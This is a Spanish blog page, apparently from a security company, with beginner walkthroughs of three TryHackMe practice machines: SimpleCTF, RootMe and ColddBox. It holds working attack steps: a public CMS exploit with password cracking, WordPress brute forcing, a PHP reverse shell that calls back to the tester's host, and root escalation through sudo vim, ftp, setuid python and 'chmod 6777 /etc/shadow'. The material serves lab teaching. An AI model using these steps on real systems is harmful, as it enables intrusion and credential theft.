910 053 662 [email protected]
Resolución Máquina SimpleCTF Try Hack Me. Pentesting Básico

Resolución Máquina SimpleCTF Try Hack Me. Pentesting Básico

En este manual, te guiaré a través de los pasos básicos para realizar un pentesting utilizando la máquina SimpleCTF Try Hack Me. Aprenderás las herramientas y técnicas necesarias para identificar vulnerabilidades y explotarlas.

Paso 1: Crear directorio de trabajo y añadir host

Para empezar, crea un directorio para trabajar y añade la dirección IP del objetivo para facilitar algunas tareas posteriores.

Paso 2: Escaneo de puertos y detección de servicios

Utilizaremos la herramienta nmap para escanear los puertos y descubrir los servicios en la máquina objetivo. Ejecuta el siguiente comando:

nmap -T4 -sC -sV -sC -Pn -oN nmap_nombrmaquina ipmaquina --script vuln

Explicación de las opciones utilizadas:

  • -T4: Establece la velocidad de escaneo en rápida.
  • -sC: Ejecuta scripts de detección de servicios predeterminados.
  • -sV: Detecta la versión de los servicios en los puertos abiertos.
  • -Pn: Ignora el descubrimiento de hosts y realiza el escaneo directamente.
  • -oN: Guarda la salida en un archivo en formato normal.
  • --script vuln: Esta opción activa la ejecución de scripts de detección de vulnerabilidades incluidos en la base de datos de scripts de nmap. Estos scripts están diseñados para identificar posibles vulnerabilidades en los servicios y aplicaciones que se encuentran en los puertos abiertos. Al utilizar la opción --script vuln, nmap ejecutará una serie de scripts específicos para buscar posibles vulnerabilidades conocidas en los servicios detectados. Estos scripts analizan los banners y respuestas de los servicios para identificar comportamientos o patrones que puedan indicar la existencia de una vulnerabilidad. Es importante tener en cuenta que los scripts de detección de vulnerabilidades de nmap son una herramienta útil para identificar posibles problemas de seguridad en una máquina objetivo. Sin embargo, la detección de vulnerabilidades no garantiza la explotación exitosa de las mismas. Es necesario realizar una evaluación adicional y utilizar herramientas especializadas para confirmar y explotar las vulnerabilidades encontradas. Al utilizar la opción --script vuln, estarás ampliando la cobertura de tu escaneo de seguridad para buscar activamente posibles vulnerabilidades en los servicios de la máquina objetivo. Esto te proporcionará información valiosa para tomar medidas y fortalecer la seguridad de la infraestructura.
SimpleCTF Try Hack Me

Paso 3: Descubrimiento de directorios

Para encontrar posibles directorios ocultos en el sitio web, usaremos la herramienta dirb. Ejecuta el siguiente comando:

dirb http://ipmaquina:80

Paso 4: Descubrimiento del directorio /simple

Al utilizar dirb en el paso anterior, hemos descubierto un directorio llamado «/simple» en el sitio web. Accede a él mediante el siguiente enlace: http://ipmaquina/simple.

Paso 5: Identificación del CMS y búsqueda de vulnerabilidades

Al acceder al directorio «/simple», observamos que se utiliza el CMS Made Simple versión 2.2.8. Ahora, buscamos posibles vulnerabilidades en este CMS.

Hay dos opciones para encontrar exploits:

  1. Ejecutar el comando searchsploit cms made simple 2.2.8 para buscar en la lista de exploits disponibles.
  2. Buscar la vulnerabilidad CVE-2019-9053 en motores de búsqueda como Google, GitHub o Exploit-DB. En este caso, encontramos un exploit en GitHub.
Captura De Pantalla 2023 05 30 A Las 18.56.39

Paso 6: Clonar el exploit de GitHub

Para evitar problemas de compatibilidad con la versión de Python 3, clonaremos el exploit de GitHub en nuestro directorio de trabajo. Ejecuta el siguiente comando:

git clone https://github.com/e-renna/CVE-2019-9053.git

Paso 7: Acceder a la carpeta del exploit

Ingresa al directorio «CVE-2019-9053» que se ha creado después de clonar el exploit.

Paso 8: Asignar permisos de ejecución al exploit

Antes de ejecutar el exploit, asegurémonos de que tenga todos los permisos necesarios. Ejecuta el siguiente comando:

chmod 777 exploit.py

Paso 9: Instalar termcolor

Si no tienes instalado el paquete «termcolor», debes instalarlo para evitar errores al ejecutar el exploit. Utiliza el siguiente comando:

pip install termcolor

Paso 10: Ejecutar el exploit

Ahora, estamos listos para ejecutar el exploit. Utiliza el siguiente comando:

python3 exploit.py -u http://url/simple --crack -w /ruta/diccionario.txt

Explicación de las opciones utilizadas:

  • -u: Especifica la URL del sitio web vulnerable.
  • --crack: Realiza una prueba de fuerza bruta utilizando un diccionario de contraseñas.
  • -w: Especifica la ruta al archivo de diccionario de contraseñas.

Paso 11: Acceso mediante SSH

Después de ejecutar el exploit, obtendrás el usuario y la contraseña. Ahora, puedes acceder a la máquina objetivo mediante SSH utilizando el siguiente comando:

ssh usuario@ipmaquina -p 2222

Paso 12: Escalada de privilegios

Una vez dentro de la máquina, verifica los privilegios disponibles ejecutando sudo -l. Si encuentras la opción de escalar privilegios utilizando /usr/bin/vim, puedes buscar el método exacto en el sitio web https://gtfobins.github.io/.

Por ejemplo, si puedes ejecutar sudo vim -c ':!/bin/sh', podrás escalar a la cuenta de root.

Captura De Pantalla 2023 05 30 A Las 21.10.11

Resumen de los pasos seguidos

En este pentesting, realizamos los siguientes pasos:

  1. Escaneo de puertos y detección de servicios utilizando nmap.
  2. Descubrimiento de directorios ocultos utilizando dirb.
  3. Identificación del CMS y búsqueda de vulnerabilidades.
  4. Clonación del exploit de GitHub.
  5. Ejecución del exploit para obtener acceso al sitio web.
  6. Acceso a la máquina mediante SSH utilizando las credenciales obtenidas.
  7. Escalada de privilegios utilizando el exploit específico para la máquina objetivo.

Hemos trabajado en una máquina Linux, que presentaba vulnerabilidades en el CMS Made Simple versión 2.2.8. A través de pasos cuidadosos de escaneo, descubrimiento y explotación, logramos obtener acceso a la máquina y escalar nuestros privilegios.

Confía en DCSeguridad

Si estás interesado en aprender más sobre seguridad informática y pentesting, te animo a ponerte en contacto con nuestra empresa DCSeguridad. Estamos dedicados a brindar servicios de seguridad de alta calidad y también ofrecemos un canal de Telegram donde compartimos información valiosa y consejos sobre seguridad.

¡Únete a nosotros y fortalece tus habilidades en el emocionante mundo del pentesting!

Espero que este manual te sea útil en tu aprendizaje de pentesting. Recuerda siempre realizar pruebas de penetración de manera ética y respetar la privacidad de los sistemas y redes que analices. ¡Buena suerte en tu camino hacia convertirte en un experto en seguridad!

Manual Máquina RootMe de TryHackMe. Pentesting Básico

Manual Máquina RootMe de TryHackMe. Pentesting Básico

¡Bienvenido al manual de Pentesting para principiantes! En este manual, te guiaré a través de los pasos necesarios para realizar un pentesting en la máquina RootMe de TryHackMe. Aprenderás los conceptos básicos y las herramientas clave utilizadas en el pentesting. ¡Comencemos!

Requisitos previos:

  • Conocimientos básicos de Linux y línea de comandos.
  • Entorno de trabajo configurado con las herramientas necesarias.
Rootme De Tryhackme

Paso 1: Crear directorio de trabajo

Para mantener todos los documentos organizados y accesibles, crea un directorio en tu escritorio llamado «RootMe» o cualquier otro nombre que prefieras. Este directorio será tu ubicación central para almacenar todos los archivos utilizados durante el pentesting.

Paso 2: Configurar el archivo hosts

Es recomendable agregar una entrada en el archivo hosts para facilitar la identificación de la máquina objetivo. Abre el archivo hosts (ubicado en /etc/hosts en Linux o C:\Windows\System32\drivers\etc\hosts en Windows) y agrega la siguiente línea:

ip_máquina rootme.thm

Reemplaza «ip_máquina» con la dirección IP real de la máquina RootMe.

Paso 3: Escaneo de puertos y detección de servicios en RootMe de TryHackMe

El primer paso en un pentesting es identificar los puertos abiertos y los servicios que se ejecutan en la máquina objetivo. Utilizaremos la herramienta Nmap para realizar esta tarea. Abre una terminal y ejecuta el siguiente comando:

nmap -p- --open -sC -sV -sS --min-rate 5000 -vvv -n -Pn ip_máquina -oN nmap_rootme

Este comando escaneará todos los puertos (-p-), buscará los puertos abiertos y los servicios asociados (-sV), ejecutará scripts de enumeración de servicios comunes (-sC), realizará un escaneo sigiloso (-sS), establecerá una velocidad mínima de envío de paquetes (--min-rate 5000), mostrará la información detallada (-vvv), utilizará direcciones IP en lugar de resolución de nombres (-n), y evitará la resolución de nombres (-Pn). El resultado se guardará en el archivo «nmap_rootme» en el directorio de trabajo.

Captura De Pantalla 2023 05 30 A Las 17.36.00

Paso 4: Análisis de resultados del escaneo

Después de completar el escaneo de puertos, analiza los resultados en el archivo «nmap_rootme». Identifica los puertos abiertos y los servicios correspondientes. En el caso de RootMe, los puertos 22 y 80 están abiertos.

Paso 5: Enumeración de directorios web

La enumeración de directorios web es un paso importante para descubrir posibles puntos de entrada. Utilizaremos la herramienta Gobuster para este propósito. Ejecuta el siguiente comando en la terminal:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -q -u ip_máquina

Este comando iniciará el escaneo de directorios con Gobuster, utilizando el archivo «directory-list-2.3-medium.txt» como lista de palabras para la búsqueda. La opción -t 100 indica el número de hilos utilizados para el escaneo (puedes ajustarlo según tus recursos). El parámetro -q se utiliza para el modo silencioso, y la opción -u especifica la URL de la máquina objetivo. Reemplaza «ip_máquina» con la dirección IP real de la máquina RootMe.

Captura De Pantalla 2023 05 30 A Las 17.35.10

Paso 6: Descubrimiento de directorio oculto

Durante la enumeración de directorios, es posible que encuentres directorios ocultos que no son fácilmente accesibles. En el caso de RootMe, se ha descubierto el directorio «/panel/».

Paso 7: Acceso al directorio oculto

Ahora, accedamos al directorio oculto «/panel/». A continuación, realizarás los siguientes pasos dentro del directorio:

  1. Crea un archivo PHP reverse shell con el nombre «php_reverse_shell.php» y cárgalo en el directorio. Asegúrate de cambiar la IP dentro del archivo por la IP de tu propia máquina. Si el servidor rechaza la carga de archivos PHP, cambia la extensión del archivo a «.phtml».
  2. Abre un netcat listener en tu máquina con el comando nc -nvlp 1234.
  3. Abre el archivo «php_reverse_shell.php» en el navegador de la máquina objetivo.
  4. ¡Ahora estás dentro de la máquina objetivo y puedes ejecutar comandos!
Captura De Pantalla 2023 05 30 A Las 17.33.43
Captura De Pantalla 2023 05 30 A Las 17.34.04

Paso 8: Escalada de privilegios en RootMe de TryHackMe

El siguiente paso es buscar posibles vulnerabilidades que nos permitan escalar privilegios en la máquina. Ejecuta el siguiente comando en la terminal:

Copy codefind / -perm -4000 2>/dev/null

Este comando buscará archivos con el bit SUID activado, lo que podría indicar posibles oportunidades de escalada de privilegios. En el caso de RootMe, se encuentra el directorio «/usr/bin/python» que puede ser utilizado para este propósito.

Paso 9: Exploración de binarios SUID

Utilizaremos la página web https://gtfobins.github.io/gtfobins/python/ para encontrar una forma de utilizar el binario SUID encontrado. Busca en la lista de binarios SUID y encuentra el acceso a Python.

Paso 10: Ejecución del comando de escalada de privilegios

Desde el directorio «/usr/bin/», ejecuta el siguiente comando:

./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Este comando utilizará Python para ejecutar el shell /bin/sh con privilegios elevados. Ten en cuenta las instrucciones adicionales mencionadas en la página de GTFOBins, especialmente si la shell sh por defecto se ejecuta con privilegios SUID.

¡Felicidades! Ahora tienes privilegios de root en la máquina RootMe.

Captura De Pantalla 2023 05 30 A Las 17.34.29

Paso 11: Búsqueda de la bandera final RootMe de TryHackMe

Como último paso, busca la bandera final dentro de la máquina para completar el pentesting.

Resumen de pasos para la máquina RootMe de TryHackMe:

  1. Crea un directorio de trabajo en el escritorio.
  2. Configura el archivo hosts con la entrada correspondiente a la máquina RootMe.
  3. Escaneo de puertos y detección de servicios con Nmap.
  4. Analiza los resultados del escaneo de puertos para identificar los puertos abiertos.
  5. Enumera los directorios web utilizando Gobuster.
  6. Descubre directorios ocultos, como «/panel/».
  7. Accede al directorio oculto y realiza los pasos necesarios para cargar un PHP reverse shell y obtener acceso a la máquina objetivo.
  8. Realiza una búsqueda de binarios con el bit SUID activado para identificar posibles oportunidades de escalada de privilegios.
  9. Utiliza el binario SUID encontrado, en este caso «/usr/bin/python», y sigue las instrucciones de GTFOBins para ejecutar comandos con privilegios elevados.
  10. Busca la bandera final dentro de la máquina RootMe.

¡Únete a DCSeguridad!

DCSeguridad es una empresa de seguridad cibernética comprometida con la protección de tus sistemas. Si estás interesado en mejorar la seguridad de tu empresa y obtener servicios de pentesting y consultoría, te invitamos a ponerte en contacto con nosotros. Nuestro equipo de expertos está listo para ayudarte.

Además, te animamos a unirte a nuestro canal de Telegram, donde compartimos información actualizada sobre seguridad cibernética, consejos prácticos y noticias relevantes del campo. Únete a nuestra comunidad y mantente al tanto de las últimas tendencias y avances en el mundo de la seguridad.

¡DCSeguridad te acompaña en tu camino hacia una mayor protección y seguridad cibernética!

Resolución Máquina SimpleCTF Try Hack Me. Pentesting Básico

Resolución Máquina TryHackMe ColddBox: Easy Paso a Paso

Hoy os traemos Resolución Máquina TryHackMe ColddBox:Easy paso a paso, es una máquina sencilla, de las primeras que te propone la plataforma para iniciarse en el mundo del Hacking, corresponde a la parte de Pentesting WEB con una escalada de privilegios que nos permite varias maneras de realizarla.

Veremos cómo resolverla paso a paso, e intentado explicar cada uno de los pasos y que conseguimos con cada uno de ellos, la idea de esta guía es ayudarte a resolverla si tienes dudas, pero no a que la resuelvas únicamente por esta vía.

Resolución Máquina TryHackMe ColddBox

Escaneo con NMAP

El primer paso es realizar un escaneo de puertos utilizando NMAP para identificar los servicios y puertos abiertos en la máquina objetivo. El comando utilizado es el siguiente:

nmap -p- --open -sC -sV -sS --min-rate 5000 -vvv -n -Pn ipmaquina -oN nmap_ColddBox
Captura De Pantalla 2023 05 29 A Las 12.57.12

Explicación de los comandos:

  • -p-: Escanea todos los puertos.
  • --open: Muestra solo los puertos abiertos.
  • -sC: Ejecuta scripts de detección de servicios predeterminados.
  • -sV: Detecta las versiones de los servicios.
  • -sS: Realiza un escaneo TCP SYN.
  • --min-rate 5000: Establece la tasa mínima de paquetes de envío.
  • -vvv: Muestra un nivel detallado de verbosidad.
  • -n: No resuelve nombres de host.
  • -Pn: Ignora el descubrimiento de hosts y trata todas las direcciones IP como activas.
  • ipmaquina: Es la dirección IP de la máquina objetivo.
  • -oN nmap_ColddBox: Guarda los resultados del escaneo en un archivo llamado «nmap_ColddBox».

Identificación de servicios en los puertos

Una vez realizado el escaneo, se observa que los puertos 80 (http) y 4512 (ssh) están abiertos. Además, se identifican los siguientes servicios en esos puertos:

  1. Puerto 80: WordPress 4.1.31
  2. Puerto 4512: OpenSSH 7.2p2

Análisis de WordPress

Se observa que se encuentra publicado un sitio WordPress en el puerto 80 y que tanto el wp-admin como el archivo xmlrpc.php están accesibles.

Descubrimiento de directorios

Se realiza un escaneo de directorios utilizando la herramienta dirb en la URL mediante dirb http://ipmaquina:80 para encontrar otros directorios accesibles.

Resultados de dirb

El escaneo de dirb revela que los siguientes directorios son accesibles:

  1. wp-admin
  2. wp-content
  3. wp-includes
  4. xmlrpc.php

Debido a estos resultados, se decide realizar un escaneo más detallado utilizando la herramienta wpscan.

Análisis de WordPress con wpscan

Se utiliza el comando wpscan para obtener más información sobre el sitio WordPress en la máquina objetivo. El comando utilizado es el siguiente:

wpscan --url http://ipmaquina -e vp,u

Explicación de los comandos:

  • --url http://ipmaquina: Especifica la URL del sitio WordPress.
  • -e vp,u: Enumera los plugins instalados y los usuarios.

Se obtienen los siguientes resultados:

  1. Tema utilizado: twentyfifteen
  2. Usuarios encontrados: hugo, c0ldd, philip
Captura De Pantalla 2023 05 29 A Las 13.11.55

Fuerza bruta de contraseñas

Se intenta realizar un ataque de fuerza bruta a los usuarios encontrados utilizando el diccionario rockyou. El comando utilizado es:

wpscan --url http://ipmaquina -U hugo,c0ldd,philip -P /ruta/rockyou.txt
Explicación de los comandos:
  • --url http://ipmaquina: Especifica la URL del sitio WordPress.
  • -U hugo,c0ldd,philip: Especifica los usuarios a los que se les realizará el ataque de fuerza bruta.
  • -P /ruta/rockyou.txt: Especifica la ubicación del diccionario de contraseñas (rockyou.txt en este caso).
Captura De Pantalla 2023 05 29 A Las 13.27.07

Se encuentra la contraseña para el usuario c0ldd y se procede a acceder al sitio WordPress con este usuario. Al iniciar sesión, se observa que se ha obtenido el rol de administrador, lo que permite realizar un ataque de shell inverso PHP.

Preparación del ataque de shell inverso PHP

Se modifica el archivo 404.php del tema twentyfifteen para insertar el código necesario para un ataque de shell inverso PHP. El código utilizado se obtiene de https://github.com/pentestmonkey/php-reverse-shell. Debemos cambiar la parte donde pone $ip.

Captura De Pantalla 2023 05 29 A Las 13.26.10

Captura de tráfico con Netcat

Se lanza Netcat en modo de escucha para capturar el tráfico en el puerto 1234. El comando utilizado es el siguiente:

nc -nvlp 1234

Ejecución del ataque de shell inverso

Se accede a la URL http://ipmaquina/wp-content/themes/twentyfifteen/404.php desde el navegador para iniciar el ataque de shell inverso PHP y obtener acceso a la máquina objetivo.

Captura De Pantalla 2023 05 29 A Las 13.30.16

Obtención de la contraseña de usuario

Una vez dentro, ejecutamos el comando script /dev/null -c bash para obtener una shell interactiva.

Luego, se utiliza el comando cat /var/www/html/wp-config.php | grep «DB_PASSWORD» para ver la contraseña del usuario c0ldd.

Escalada de privilegios

Se utiliza el comando su c0ldd con la contraseña obtenida para cambiar al usuario c0ldd y así escalar privilegios, ahora debemos de buscar la primera bandera, user.txt, búscala y tienes la primera bandera localizada.

Comprobación de los permisos de sudo

Se ejecuta el comando sudo -l para verificar los permisos de sudo del usuario c0ldd. Se observa que tiene permisos de root para ejecutar /usr/bin/vim, /bin/chmod y /usr/bin/ftp.

Escalada de Privilegios

Ahora veremos las tres opciones de escalada de privilegios que nos permite realizar esta máquina.

Escalada de privilegios mediante FTP

Se ejecuta el comando sudo ftp para iniciar una sesión de FTP con privilegios de root. Una vez dentro, se ejecuta !/bin/sh para obtener una shell interactiva con privilegios de root.

Captura De Pantalla 2023 05 29 A Las 14.04.14

Una vez tengas la escalada de privilegios busca la siguiente bandera root.txt.

Escalada de privilegios a través de /usr/bin/vim

  1. Ejecuta el siguiente comando para utilizar Vim con privilegios de root:
sudo vim -c ':!/bin/sh'

Esto abrirá Vim y ejecutará un comando de shell para obtener una shell interactiva con privilegios de root.

Escalada de privilegios a través de /usr/bin/chmod

  1. Establece la variable LFILE con la ruta al archivo /etc/shadow:
LFILE=/etc/shadow
  1. Utiliza el siguiente comando para cambiar los permisos del archivo /etc/shadow:
bashCopy codesudo chmod 6777 $LFILE

Esto otorgará permisos de lectura, escritura y ejecución a todos los usuarios en el archivo /etc/shadow.

  1. Para verificar que la escalada de privilegios fue exitosa, puedes utilizar el siguiente comando para encontrar la línea correspondiente al usuario c0ldd en el archivo /etc/shadow:
cat /etc/shadow | grep c0ldd
  1. Abre el archivo /etc/shadow con el editor vi:
vi /etc/shadow

Esto te permitirá editar el archivo y realizar cambios si es necesario.

  1. Finalmente, puedes cambiar al usuario c0ldd utilizando el siguiente comando:
su -c0ldd

Reemplaza <c0ldd password> con la contraseña del usuario c0ldd.

Esto concluye el manual de pentesting basado en los pasos y comandos proporcionados. Recuerda que el uso de estas técnicas y herramientas debe ser legal y con el consentimiento explícito del propietario del sistema que estás evaluando.

Si deseas saber mas sobre nosotros no dudes en ponerte en contacto con nosotros así como te invitamos a unirte a nuestro canal de Telegram.